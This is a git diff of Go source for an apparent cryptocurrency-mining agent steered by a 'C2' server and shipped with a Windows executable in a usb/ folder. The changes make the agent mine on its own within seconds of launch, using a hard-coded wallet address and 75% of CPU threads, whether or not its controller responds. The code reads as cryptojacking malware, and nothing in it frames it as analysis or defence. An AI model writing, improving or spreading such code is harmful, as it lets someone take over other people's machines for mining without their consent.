diff --git a/agent/client/client.go b/agent/client/client.go index 95368c1..893af3f 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -807,20 +807,23 @@ func (c *AgentClient) write(msg Message) error { } // needsStratumFallback returns true when either: -// - C2 is offline for > 30 seconds, OR -// - C2 is online but no mining job has been delivered in > 60 seconds +// - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR +// - C2 is online but no mining job has been delivered in > 15 seconds // (the pool proxy on the server is broken or still connecting) +// +// Mining is the primary purpose of the agent; C2 provides remote control and +// job upgrades but is never required to start hashing. func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool { if !c.connected.Load() { - return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second + return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second } // Connected but jobless: check when the last valid job arrived. if raw := c.lastJobAt.Load(); raw != nil { lastJob := raw.(time.Time) - return time.Since(lastJob) > 60*time.Second + return time.Since(lastJob) > 15*time.Second } - // Never received a job; fall back after 60s of being connected with nothing to mine. - return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second + // Never received a job; fall back after 15s of being connected with nothing to mine. + return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second } // stratumFallbackManager monitors C2 connectivity and mining job delivery. @@ -841,11 +844,11 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { } var fb *fallback - // disconnectedSince tracks the start of the current disconnection window. - // When C2 is connected, it is zeroed. When C2 drops, it is set once and - // kept until reconnection. This is also used to measure "connected but - // jobless" time when the server pool proxy is broken. - var disconnectedSince time.Time + // disconnectedSince is set at startup so the 8-second countdown begins + // immediately. Mining will start on baked-in credentials within ~10s unless + // C2 connects and delivers a job first. When C2 delivers a job this is + // zeroed and the fallback stops. + disconnectedSince := time.Now() ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() @@ -866,9 +869,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { }() fb = &fallback{stop: stop, wait: wait} if c.connected.Load() { - log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) + log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) } else { - log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) + log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) } } diff --git a/agent/config/builtin.go b/agent/config/builtin.go index 7b4a957..f308c44 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -6,7 +6,7 @@ func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: "dev-worker", ServerURL: "http://127.0.0.1:8989", - Wallet: "", + Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3", Threads: 4, ThreadMode: "percent", ThreadPercent: 75, diff --git a/usb/agent/client/client.go b/usb/agent/client/client.go index 95368c1..893af3f 100644 --- a/usb/agent/client/client.go +++ b/usb/agent/client/client.go @@ -807,20 +807,23 @@ func (c *AgentClient) write(msg Message) error { } // needsStratumFallback returns true when either: -// - C2 is offline for > 30 seconds, OR -// - C2 is online but no mining job has been delivered in > 60 seconds +// - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR +// - C2 is online but no mining job has been delivered in > 15 seconds // (the pool proxy on the server is broken or still connecting) +// +// Mining is the primary purpose of the agent; C2 provides remote control and +// job upgrades but is never required to start hashing. func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool { if !c.connected.Load() { - return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second + return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second } // Connected but jobless: check when the last valid job arrived. if raw := c.lastJobAt.Load(); raw != nil { lastJob := raw.(time.Time) - return time.Since(lastJob) > 60*time.Second + return time.Since(lastJob) > 15*time.Second } - // Never received a job; fall back after 60s of being connected with nothing to mine. - return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 60*time.Second + // Never received a job; fall back after 15s of being connected with nothing to mine. + return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second } // stratumFallbackManager monitors C2 connectivity and mining job delivery. @@ -841,11 +844,11 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { } var fb *fallback - // disconnectedSince tracks the start of the current disconnection window. - // When C2 is connected, it is zeroed. When C2 drops, it is set once and - // kept until reconnection. This is also used to measure "connected but - // jobless" time when the server pool proxy is broken. - var disconnectedSince time.Time + // disconnectedSince is set at startup so the 8-second countdown begins + // immediately. Mining will start on baked-in credentials within ~10s unless + // C2 connects and delivers a job first. When C2 delivers a job this is + // zeroed and the fallback stops. + disconnectedSince := time.Now() ticker := time.NewTicker(5 * time.Second) defer ticker.Stop() @@ -866,9 +869,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { }() fb = &fallback{stop: stop, wait: wait} if c.connected.Load() { - log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) + log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) } else { - log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) + log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) } } diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe index 3043530..ea7e967 100644 Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ